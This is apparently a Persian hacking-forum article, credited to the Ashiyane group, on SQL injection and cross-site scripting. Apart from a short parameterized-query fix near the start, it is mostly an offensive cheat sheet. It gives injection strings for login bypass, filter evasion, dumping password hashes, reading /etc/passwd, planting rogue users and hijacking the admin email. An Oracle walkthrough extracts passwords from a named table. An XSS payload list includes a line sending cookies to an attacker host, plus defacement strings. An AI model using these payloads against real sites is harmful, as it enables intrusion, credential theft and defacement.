xss-sql

47
ﺑﻪ ﻧﺎم او ﮐﻪ زﯾﺑﺎﯾﯽ ﻫﺎ را اﻓرﯾد ﻣﻘﺎﻟﮫ دﺳﺗوراتSQL INJECTION , XSS ﻧوﯾﺳﻧده: yahoo2010 ﺳطﺢ ﻣﻘﺎﻟﮫ: ﻣﺗوﺳط ﺗﺎ ﺣرﻓﮫ ای ادرس ﺳﺎﯾت: http://ashiyane.org/forums Y ! : ali_rezamilan ﺗﺎرﯾﺦ: 06 / 06 / 1390

Upload: rafael-martin

Post on 08-Nov-2014

36 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: xss-sql

به نام او که زیبایی ها را افرید

SQL INJECTION , XSS مقالھ دستورات

yahoo2010: نویسنده

تا حرفھ ای متوسط : سطح مقالھ

http://ashiyane.org/forums: ادرس سایت

Y ! : ali_rezamilan

1390/ 06/ 06: تاریخ

Page 2: xss-sql

فھرست

مقدمھ – 1

2 - sql injection

3 – xss

Page 3: xss-sql

مقدمھ

SQL Injection

Page 4: xss-sql

آیا در . مواد سمی به جای دارو از میان بر می دارند فیلمھای سینمایی دیده اید که بسیاری از تبھکاران قربانیان خود را با تزریق حتما درمی . از این شگرد استفاده می کنند ھکرھا ھم به نوعی!! ایده ھایی وجود دارد؟ در کمال تعجب باید بگویم که بله دنیای سایبر نیز چنین

:روشن تر کنم اجازه دھید تا با یک مثال مطلب را! شما Application مورد عالقه خود به SQL گویید چگونه؟ با تزریق کردن دستورات

:Login سیستم

آن را SQL گرفته و سپس با استفاده از یک دستور را از کاربر Password و ID معموال دارای فیلدھایی ھستند که دو مقدار Login صفحات :ای از این دستور به صورت زیر است نمونه ساده. پردازش می کنند

SELECT+COUNT(UserID)+FROM+tblUsers+WHERE+UserID=’” & UserID.Text & “‘ AND Pass=’” & Password.Text & “‘”

حال فرض می کنیم کاربر . مورد پردازش قرار گیرد ھستند که مقادیر آنھا بایستی TextBox دو کنترل Password و UserID مثال در این :به صورت زیر تولید می شود SQL وارد نماید، در این صورت جمله ١٢٣ و mahdi مقادیر را به صورت

SELECT+COUNT(UserID)+FROM+tblUsers+WHERE+UserID=’mahdi’+AND+Pass=’123′

:حال فرض کنید که ھکر ما به جای کلمه کاربری خود عبارت زیر را وارد نماید. خوب تا اینحا مشکلی وجود ندارد

‘ OR 1=1 –

:زیر تولید خواھد شد SQL در این صورت عبارت

SELECT+COUNT(UserID)+FROM+tblUsers+WHERE+UserID=”OR 1=1 –AND PASS=” دیگر پردازش نمی شود لذا ھنگام پردازش دستور چون عالمت توضیحات است و عبارت پس از آن SQL در –احتماال می دانید که کاراکتر

کلیه رکوردھای تلقی شده و کافی UserID 1=1 به کار رفته، بدون توجه به خالی بودن مقدار مقابل OR به است و با توجه ١=١ھمواره .می شود Authenticate اصطالحا Attacker بانک اطالعاتی برگردانده می شود و

SQL ذکر است که این حمالت در پایگاه اطالعاتی آنکه به ارائه راه حل این حفره امنیتی خودساخته بپردازیم این نکه شایان پیش ازServer رد بررسی قرار خواھد گرفتکه در قسمت دوم مقاله مو بسیار پیچیده تر است.

!چاره کار

حال ما کد کامل اصالح شده را . را داده است و امکانات این ساختار به برنامه نویسان امکان مانور بیشتری ASP.NET گرای ساختار شی :را ذکر می کنیم در زیر آورده و سپس توضیحات آن

:کد

Dim strSQL As String = “SELECT COUNT(UserID) FROM tblUsers WHERE UserID=@UserID AND Password=@Password” Dim cmndCheck As OleDbCommand = New OleDbCommand(strSQL, _Connection)

cmndCheck.Parameters.Add(”@UserID”, UserID.Text); cmndCheck.Parameters.Add(”@Password”, Password.Text); cmndCheck.Connection.Open() Dim IsValid As Integer = cmndCheck.ExecuteScalar()

If IsValid > 0 ‘… Some Code here… User is authenticated Else ‘… Some Code here… User is not aututorized to view the page End If

Page 5: xss-sql

به خورد Single Quote از فیلدھا با ادیر دریافتیمشخص است این بار به جای اینکه مق SQL ھمان خط اول یعنی دستور تغییر در cmndCheck جایگزین می شود و در آخر OleDbCommand پارامترھای تولید شده توسط آبجکت پردازشگر دستور داده شود مقادیر با

د مور یک رکورد با شرایطاز صفر باشد بدین معنی است که حداقل بزرگتر ExecuteScalar پردازش شده چنانچه مقدار تولید شده توسط

.ما پیدا شده است

) شما قرار گیرد دانسته فرض شده است ConnectionString که باید برابر _Connection متغیر(

پارامتری شده پردازش می شوند نه به “ کامال روش نسبت به روش ناامن قبلی این است که در اینجا مقادیر به صورت اصلی این تقاوتتکنیکھای رشته سازی با در واقع ما در اینجا از. به شمار می آید SQL Injection در واقع دام اصلی قطعاتی از یک رشته حرفی کهصورت

.اجتناب کرده ایم+ یا & استفاده از

ا استفاده می ھکرھا برای حمله به سایت شم دیگری که باید حتما مورد توجه قرار دھید این است که یکی از راھھایی که نکته مھماتفاق که می تواند برای جلوگیری از این. و مطالعه اطالعات خطای دریافت شده است Application کنند خطاسازی صوری در زمان اجرای

شده Customize خود از روال خطایابی Application آشکار کند حتما در ساختار بعضی از قسمتھای کد شما را برای حمله کنندگان .کنید استفاده

:SQL Injection مثال ھای تصویری از

Page 6: xss-sql
Page 7: xss-sql

XSS

XSS یا ھمونCSS کھ مخفف کلمھ Cross Site Scripting می باشد یکی از انواع حمالت بھ وب سایت ھا می باشد کھ در این نوع

کاربران مورد ھدف واقع می شوندرا برای XSS ھستش متخصصین کامپیوتر برای جلو گیری از اشتباه نام Cascading Style Sheat مخفف کلمھ CSS خودتون میدونید

.این نوع حملھ انتخاب کردند

پس از اینکھ صفحات حالت پویا بھ خود گرفت نفوذگرھا پی بھ یکی از حفره ھای اینگونھ سایت ھا بردند از کاربر درخواست کند Query stringاین حفره بیشتر زمانی رخ می دھد کھ سایت اطالعات کاربر را توسط

: برای مثال

http://www.folan.com/login.php?bahman= کرده دریافت کھ عبارتی

حاال نفوذ گر میتونھ بھ جای اون عبارت اسکریپت خودش را بنویسھ

http://www.folan.com/login?bahman=<h1>salam</h1>

را نوشت html این یھ مثال ساده بود کھ فقط نفوذ گر کد حاال اگھ بخواد کوکی ھای کاربرا را ھم بگیره بھ راحتی میتونھ اینکار را انجام بده

مثآل فرض کنید یک سایت برای اینکھ کاربراش دیگھ نام کاربری و رمز عبور را وارد نکنن یھ گزینھ گزاشتھ بھ نام مرا بھ خاطر

.بسپارروی سیستم کاربر ذخیره میکنھ و ھر بار کھ کاربر صفحھ سایت را باز cookie وقتی کاربر روی این گزینھ کلیک میکنھ سایت

میکنھ سایت این کوکی را میخونھ و بھ وی اجازه ورود میده

حاال نفوذ گر کد زیر را اعمال میکنھ

http://foloan/bahman.php/n=<script>document.location.replace('http://nofozgar/begir?borohalakon=document.cookie)</script>

(;کار تمومھ

Page 8: xss-sql

SQL PHP WITH BYPASS

-999/**/order/**/by/**/cloumn/*

------------------------------

-999/**/and/**/1=0/**/union/**/all/**/select/**/cloumn/*

------------------------------

-999+order+by+cloumn--

------------------------------

-999+and+1=0+union+all+select+cloumn--

------------------------------

-999+and+1=0+union+all+select+cloumn+from+user--

------------------------------

Note : version 4 bayad name table ha ro hads zad : from+user or users or ...

------------------------------

-999+and+1=0+union+all+select+cloumn(1,2,user,password)+from+users--

------------------------------

-999/**/and/**/1=0/**/Union/**/all/**/Select+column/**/from+iNformatTion_Schema--

------------------------------

For get tables :

-999+and+1=0+Union+all+Select+column+(table_name)+from+iNformatTion_Schema.tables--

------------------------------

For get tables with bypass :

-999/**/and/**/1=0/**/Union/**/all+Select/**/column+(table_name)+from+iNformatTion_Schema.tables--

------------------------------

For get tables with group_concat :

Page 9: xss-sql

-999+and+1=0+Union+all+Select+column+group_concat(table_name)+from+iNformatTion_Schema.tables--

------------------------------

Note : baraye Get kardane column ha be jaye (table_name) va information_schema.tables gharar bedin : (column_name) va information_schema.columns

------------------------------

Illegal in Command :

-999+Union+Select+all+1,2,unhex(hex(group_concat(column_name))),4,5,6,7,8+from+iNformation_schema.columns--

-999+Union+Select+all+1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8+from+iNformation_schema.tables--

------------------------------

SQL ASP

'having 1=1-- dar login or username bad login konid

avalin table mesal:

b2b_supplier_id

b2b_supplier_loginname

------------------------------

'group by b2b_supplier_id having 1=1-- ( dobare dakhele login or username bad login konid ta table badi bedast biad )

------------------------------

Page 10: xss-sql

------------------------------

'group by b2b_supplier_id,b2b_supplier_loginname having 1=1-- ( be hamin tartib ta bedast avardane table akhar )

------------------------------

Note : inghad mirim julu ta dg be ma error nade

------------------------------

MYSQL INJECTION COMMAND

Basics ( انی مب )

SELECT * FROM login /* foobar */ SELECT * FROM login WHERE id = 1 or 1=1 SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

Variations ( ھنر تنوع )

SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"

SHOW TABLES SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES SELECT VERSION SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION() SELECT host,user,db from mysql.db SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;

Page 11: xss-sql

Blind injection vectors ( تزریق بلیند VECTORS )

Operators :

SELECT 1 && 1; SELECT 1 || 1; SELECT 1 XOR 0;

Evaluate :

all render TRUE or 1. SELECT 0.1 <= 2; SELECT 2 >= 2; SELECT ISNULL(1/0);

Math :

SELECT FLOOR(7 + (RAND() * 5)); SELECT ROUND(23.298, -1);

Misc :

SELECT LENGTH(COMPRESS(REPEAT('a',1000))); SELECT MD5('abc');

Benchmark :

SELECT BENCHMARK(10000000,ENCODE('abc','123')); this takes around 5 sec on a localhost

SELECT BENCHMARK(1000000,MD5(CHAR(116))) this takes around 7 sec on a localhost

SELECT BENCHMARK(10000000,MD5(CHAR(116))) this takes around 70 sec on a localhost

Using the timeout to check if user exists :

SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login

Page 12: xss-sql

Gathering info ( جمع اوری اطالعات )

Table mapping :

SELECT COUNT(*) FROM tablename

Field mapping :

SELECT * FROM tablename WHERE user LIKE "%root%" SELECT * FROM tablename WHERE user LIKE "%" SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL; SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;

User mapping :

SELECT * FROM tablename WHERE email = '[email protected]'; SELECT * FROM tablename WHERE user LIKE "%root%" SELECT * FROM tablename WHERE user = 'username'

Advanced SQL vectors : ( تزریق حرفھ ای vectors )

Writing info into files

SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE '/path/location/on/server/www/passes.txt'

Writing info into files without single quotes: (example)

SELECT password FROM tablename WHERE username = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

The CHAR() quoteless function

Page 13: xss-sql

SELECT * FROM login WHERE user = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

SELECT * FROM login WHERE user = CHAR(39,97,39)

Extracting hashes :

SELECT user FROM login WHERE user = 'root' UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null) FROM login

Example :

SELECT user FROM login WHERE user = 'admin' UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null) FROM login

SELECT user FROM login WHERE user = 'admin' UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97), BENCHMARK(1000000,MD5('x')),null) FROM login

explaining: (password field,start character,select length) :

is like: (password,1,2) this selects: ‘ab’ is like: (password,1,3) this selects: ‘abc’ is like: (password,1,4) this selects: ‘abcd’

A quoteless example :

SELECT user FROM login WHERE user = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97), BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login

to 9 – ASCII 48 to 57 ~ a to z – ASCII 97 to 122 0 : چار ھای کھ اجازه دارد

Misc : ( متفرقھ )

Page 14: xss-sql

Insert a new user into DB :

INSERT INTO login SET user = 'r00t', pass = 'abc'

Retrieve /etc/passwd file, put it into a field and insert a new user :

load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user = 'r00t', pass = 'abc'

Then login !

Write the DB user away into tmp :

SELECT host,user,password FROM user into outfile '/tmp/passwd';

Change admin e-mail, for “forgot login retrieval.”

UPDATE users set email = '[email protected]' WHERE email = '[email protected]';

Bypassing PHP functions : ( بای پس کردن فاکشیون )

(MySQL 4.1.x before 4.1.20 and 5.0.x)

Bypassing addslashes() with GBK encoding :

WHERE x = 0xbf27admin 0xbf27

Bypassing mysql_real_escape_string() with BIG5 or GBK :

"injection string" に関する追加情報:

the above chars are Chinese Big5 ( یک چار از چین )

Advanced Vectors : ( پیشرفتھ vectors )

Using an HEX encoded query to bypass escaping :

Normal :

SELECT * FROM login WHERE user = 'root'

Bypass :

SELECT * FROM login WHERE user = 0x726F6F74

Page 15: xss-sql

Inserting a new user in SQL :

Normal :

insert into login set user = ‘root’, pass = ‘root’

Bypass :

insert into login set user = 0x726F6F74, pass = 0x726F6F74

How to determin the HEX value for injection :

SELECT HEX('root');

gives you :

726F6F74

then add :

0x

Update database MYSQL in SQL injection

MYSQLاپدیت در دیتابیس

اپدیت در دیتابیس ھمیشھ عملی نیست و گاھی با مشکل روبرو میشھ » نکتھ

: USERدر جدول USERNAMEبرای اپدیت فیلد

--’ update+user+set+username=’alireza’WWW.SITE.COM/INDEX.PHP?ID=42

) برای پسورد حتما باید ھش بکار رود ( :مورد نظر passwordبرای اپدیت

e10adc3949ba59abbe56e057f20f883e : 123456

WWW.SITE.COM/INDEX.PHP?ID=42’ update+user+set+password=’ e10adc3949ba59abbe56e057f20f883e’--

Page 16: xss-sql

Oracle SQL Injection in web applications

Common SQL Injection Strings for Oracle Databases

در این قسمت بھ کد ھای تزریق برای دیتابیس اورکال میپردازیم

ھمراه با مثال تصویری

: 1 دستور

' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--

: شرح دستور

Display the database version information in an error message (injected into a string) [low privilege]

: عکس بھ عنوان مثال

Page 17: xss-sql

)مشکالت مشترک ( Common Problems

Java not installed Oracle 11g ACL PUBLIC privilege removed

==> use an alternative function

Page 18: xss-sql

: 2دستور

or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--

: شرح دستور

Display the database version information in an error message (injected into an integer) [low privilege]

: عکس بھ عنوان مثال

Page 19: xss-sql

مشکالت مشترک

Java not installed Oracle 11g ACL PUBLIC privilege removed

==> use an alternative function

Page 20: xss-sql

: 3دستور

or 1=utl_inaddr.get_host_address((select sys.stragg (distinct username||chr(32)) from all_users))--

: شرح دستور

Display a list of all usernames (11g only) [low privilege]

: عکس بھ عنوان مثال

Page 21: xss-sql

مشکالت مشترک

if stragg, it is possible to do the same using XMLDB stragg is limited to 4096 bytes

Page 22: xss-sql

: 4دستور

or 1=utl_inaddr.get_host_address((Select granted_role from ( select rownum r, granted_role from user_role_privs) where r=1))

: شرح دستور

Get the privileges of this account. Iterate via r=1, r=2, r=3, ... [low privilege]

:عکس بھ عنوان مثال

Page 23: xss-sql

مشکالت مشترک

No

Page 24: xss-sql

: 5دستور

or 1=utl_inaddr.get_host_address((SELECT sys_context('USERENV', 'ISDBA') FROM dual)) or 1=utl_inaddr.get_host_address((SELECT sys_context((select chr(85)||chr(83)||chr(69)||chr(82)||chr(69)||chr(78)||chr(86) from dual), (select chr(73)||chr(83)||chr(68)||chr(66)||chr(65) from dual)) FROM dual))

: شرح دستور

check if DBA, result: TRUE or FALSE [low privilege]

: عکس بھ عنوان مثال

Page 25: xss-sql

مشکالت مشترک

If the usage of single quotes returns an ORA-0911 (invalid character) you should use the second string

Page 26: xss-sql

: 6دستور

or 1=utl_inaddr.get_host_address((select sys.stragg (distinct table_name||chr(58)||column_name||chr(58)||data_type||chr(58)||column_id||chr(59)) from user_tab_columns order by table_name,column_id))--

: شرح دستور

Get a list of all user tables including the column name and type [low privilege]

: عکس بھ عنوان مثال

No

: مشکالت مشترک

No

Oracle Common Commands

String Concatenation Description

'a' || 'b' concatenate 2 strings together. This syntax can be used for the split-and-balance technique.

concat('a','b') concatenate 2 strings together via the concat group.

TBD Read files in SELECT statements.

Blind SQL Injection

Page 27: xss-sql

Generating Oracle Error Messages containing information

String Concatenation

Message

1 or 1 = ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--

ORA-53044: Invalid Tag: ORACLE DATABASE 11G ENTERPRISE EDITION RELEASE 11.1.0.7.0 -

PRODUCTION

1 or 1= CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))--

ORA-20000: Oracle Text-Error: DRG-11701: Thesaurus Oracle Database 11g Enterprise Edition Release

11.1.0.7.0 - Production does not exists

Page 28: xss-sql

انجکت اورکال با تصویر

:اول باید سایت لوگین اسیب پذیر رو اجرا کنیم

Page 29: xss-sql

. اون رو validدر این قسمت لوگین ما میتوانیم بھ دایکتوری طرف وارد شیم اگھ ما حدس بزنیم ترکیب باشد و ھمراه با دریافت پیغام خطا scottبھ عنوان مثال

Page 30: xss-sql

خوب میریم با استفاده از یک قضیھ برای ورود بھ سایت عمل کنیم

”ORA-01756 - Anführungsstrich fehlt bei Zeichenfolge“: مقدار

بھ چھ معناست ؟

خوب این سایت از زبان المانی استفاده میکنھ و باید این مورد رو یھ جوری با خودمون کنار بیایم کھ اگھ : شما زبان المانی بلد نیستید بھ این قسمت در گوگل بروید

01756-http://www.google.com/search?q=ora

برای ترجمھ کردن این خطا

Page 31: xss-sql

: بلھ سایت این سایت بھ ما گفتھ جریان چیھ

http://www.techonthenet.com/oracle/errors/ora01756.php

: کھ من عکس از اون صفحھ رو واستون گرفتم و اینجا میزارم

Page 32: xss-sql

.است sql injectionبلھ این خطا بھ ما میگھ کھ این پیام خطا مشترک از یک اسیب پذیری

دیگھ استفاده میکنم تا ببنیم این بار چی میگھ بھ ما stringحاال از یک رشتھ تزریق یا

‘ or 1=1--

استفاده کرد چون این صفحھ نمیتواند از UNION SELECTیھ ھیچ عنوان نمیشھ از این صفحھ از . پایگاه اطالعاتی عمل برگشت اطالعات رو انجام بده

اما مرحلھ بعدی چیھ ؟

Page 33: xss-sql

شمارش پایگاه اطالعاتی – 1

حاال بریم برای پیدا کرد ورژن در اورکال دیتابیس

بریم از دستور زیر برای ورود بھ سایت استفاده کنیم ببینیم جواب میگیریم یا نھ

: کد

‘ or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--

Page 34: xss-sql

سیستم این فیلد برای ورود بھ. اما این بار این مشکل متفاوت ھستش . ORA-01756بلھ بازم خطای . کاراکتر است 50ولی کد تزریق ما بیشتر از . محدود کرده است 50کاراکتر را بھ

کھ خاصیت ھای چون از بین بردن محدودیت ھای انالین استفاده میکنیم firefoxدر این جا ما از افزونھ : و چند نوع دیگر میباشد بھ ادرس زیر

developer-https://addons.mozilla.org/de/firefox/addon/web

or

https://addons.mozilla.org/de/firefox/addon/60

URLرو تغییر بدیم در stringما میتونیم رشتھ تزریق یا ھمون Getبھ postبعد از تبدیل

Page 35: xss-sql

: ORA-01756بلھ بازم بھ خطای

ORA-24247 Netzwerkzugriff von Access Control List (ACL) abgelehnt.

: سریع میریم و ترجمھ میکنیم بھ زبان انگلیسی

ORA-24247 network access denied by access control list (ACL)

ما قادر بھ ارسال اطالعات از طریق . بلھ قسمت امنیت در اورکال بھ طور پیش فرض در حال کار کردن است DNS نیستیم و یا ایجاد پیام خطای خاص با استفاده ازutl_inaddr

http://psoug.org/reference/utl_inaddr.html

: عکس مشخصات

Page 36: xss-sql

: از تابع زیر استفاده میکنیم ult_inaddrبرای جایگزین

ctxsys.drithsx.sn

: ما با جایگزین کردن این مورد از کد جدید زیر استفاده میکنیم

‘ or 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))--

بعد از تزریق این کد ما ھمواره خطای زیر را دنبال میکنیم

ORA-20000: Oracle Text-Fehler: متن خطا

DRG-11701: 11.1.0.7.0تصدی نسخھ انتشار 11gداده اوراکال اصالح نامھ پایگاه

. در سطر بھ وجود امده است $ vاست کھ در داده پایگاه نسخھ حاویپیغام خطا

(select banner from v$version where rownum=1)

Page 37: xss-sql

می تواند ستون 1محدودیت، از مجموع .است سطر 1 و ستون 1 محدود بھ بھ طور معمول تزریقیپیغام خطا ھای از ردیف محدودیت برای دور زدن .(col1 | | col2) | | الحاق رشتھ ھا از استفاده با باشد دور زدن

. انجام میشھ rownum مختلف با استفاده از شمردن ھای ستون از طریق pentesters بیشتر

stragg: ھاد میکند تابع جدید پیشن 11gاما اوراکل در

.تبدیل کنید سطر را بھ یک چند ردیف از می توانید توابعاین

: کنید استفاده در پیام خطا ھا ستون برای دریافت تمام stragg تابع ھم اکنون می توانید ما

‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct banner)||’ ‘ from v$version))--

با توجوه بھ امتیازات دریافت کنیم داده پایگاه از تمام داده ھا برای بازیابی ھمھ چیز را بایددر حال حاضر ما

Page 38: xss-sql

حال بیاید ببینید کھ ما چھ دسترسی داریم

: با توجھ بھ دستور زیر

‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct granted_role||’;') from user_role_privs))--

ما اتصال و مبنا در ھمین حد رو داریم

Page 39: xss-sql

: رمز عبور ستون جداول توسط برای دریافت تمام بعدی این است کھگام

: دستور تزریق

‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct owner||’.'||table_name||’['||data_type||’];’) from all_tab_columns where column_name=’PASSWORD’))--

برای دستور زیر از استفاده با در حال حاضر ما .وجود دارد SHOP.SHOWUSER نام بھجدول .این جدول از را تمام کلمات عبور استخراج

Page 40: xss-sql

: دستور برای تزریق

‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct password||’;') from shop.shopuser))--

را از UNION SELECT بدون استفاده از را جدول تمام محتوای ما می توانیم این رویکرد از استفادهبا .کنیم بازیابی جدول

Page 41: xss-sql

: هدشاستفاده تزریق دستورات از ایخالصھ

‘ or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--

‘ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct granted_role||’;') from user_role_privs))--

‘ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct owner||’.'||table_name||’['||data_type||’];’) from all_tab_columns where column_name=’PASSWORD’))--

‘ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct password||’;') from shop.shopuser))--

Strings SQL :

'

/

-

*

Page 42: xss-sql

Xss ( cross site scripting )

میپردازیم xssخوب در این بخش بھ دستورات

><SCRIPT>alert(“XSS”);</SCRIPT

<script><img=http://up6.iranblog.com/uploads/13140259851.jpg>hack by yahoo2010</img></script>

<script>alert("String.fromCharCode(104, 97, 99, 107, 32, 98, 121, 32, 121, 97, 104, 111, 111, 50, 48, 49, 48)")</script><

“><h1><img=http://up6.iranblog.com/uploads/13140259851.jpg>hack by yahoo2010</img></h1>

"><iframe src=http://www.google.de>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SC

'';!--"<XSS>=&{()}

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Page 43: xss-sql

<IMG SRC="javascript:alert('XSS');">

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<IMG SRC="jav ascript:alert('XSS');">

Page 44: xss-sql

<IMG SRC="jav&#x09;ascript:alert('XSS');">

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<<SCRIPT>alert("XSS");//<</SCRIPT>

<SCRIPT>alert(/XSS/.source)</SCRIPT>

\";alert('XSS');//

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<BODY BACKGROUND="javascript:alert('XSS')">

Page 45: xss-sql

<BODY ONLOAD=alert('XSS')>

<IMG LOWSRC="javascript:alert('XSS')">

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<IMG SRC='vbscript:msgbox("XSS")'>

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029'\0029">

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

“><script >alert(document.cookie)</script>

%253cscript%253ealert(document.cookie)%253c/script%253e

Page 46: xss-sql

‘; alert(document.cookie); var foo=’

Page 47: xss-sql

Special Tnx 2 :ashiyane digital Security Team, All Iranian Hackerz ©® Copy Right For :ashiyane digital Security team 2011

For more Informattion go to : http://ashiyane.org/